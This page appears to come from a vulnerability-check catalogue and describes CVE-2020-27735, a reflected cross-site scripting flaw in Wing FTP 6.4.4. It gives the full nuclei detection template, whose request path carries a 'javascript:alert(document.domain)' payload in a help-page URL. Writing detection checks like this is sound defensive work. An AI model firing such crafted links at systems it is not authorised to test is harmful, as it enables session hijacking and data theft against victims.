Browse / CVEs / CVE-2020-27735
CVE-2020-27735· wftpserver / wing ftp server· CWE-79
Wing FTP 6.4.4 - Cross-Site Scripting
Wing FTP 6.4.4 is vulnerable to cross-site scripting via its web interface because an arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of (sandboxed) arbitrary HTML and JavaScript in the user's browser.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to the latest version of Wing FTP server or apply the vendor-provided patch to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/help/english/index.html?javascript:alert(document.domain)
Positive when: contains "<frame name=\"hmcontent\" src=\"javascript:alert(document.doma…" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2020-27735 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-27735
info:
name: Wing FTP 6.4.4 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
Wing FTP 6.4.4 is vulnerable to cross-site scripting via its web interface because an arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of (sandboxed) arbitrary HTML and JavaScript in the user's browser.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version of Wing FTP server or apply the vendor-provided patch to mitigate this vulnerability.
reference:
- https://www.wftpserver.com/serverhistory.htm
- https://wshenk.blogspot.com/2021/01/xss-in-wing-ftps-web-interface-cve-2020.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-27735
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-27735
cwe-id: CWE-79
epss-score: 0.0584
epss-percentile: 0.93233
cpe: cpe:2.3:a:wftpserver:wing_ftp_server:6.4.4:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: wftpserver
product: wing_ftp_server
tags: cve,cve2020,xss,wing-ftp,wftpserver,vuln
http:
- method: GET
path:
- "{{BaseURL}}/help/english/index.html?javascript:alert(document.domain)"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<frame name="hmcontent" src="javascript:alert(document.domain)" title="Content frame">'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://www.wftpserver.com/serverhistory.htm
- https://wshenk.blogspot.com/2021/01/xss-in-wing-ftps-web-interface-cve-2020.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-27735
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from